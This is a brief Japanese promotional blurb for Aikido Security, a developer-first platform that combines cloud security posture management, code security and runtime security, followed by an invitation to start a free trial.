CSPMとコード・セキュリティおよびランタイム・セキュリティを、単一のナンセンスなインターフェイスで統合した、開発者ファーストのプラットフォームをお探しなら、Aikido Securityにお任せください。
👉今すぐ無料トライアルを開始し、クラウドの姿勢をどれだけ早く修正できるかをご確認ください。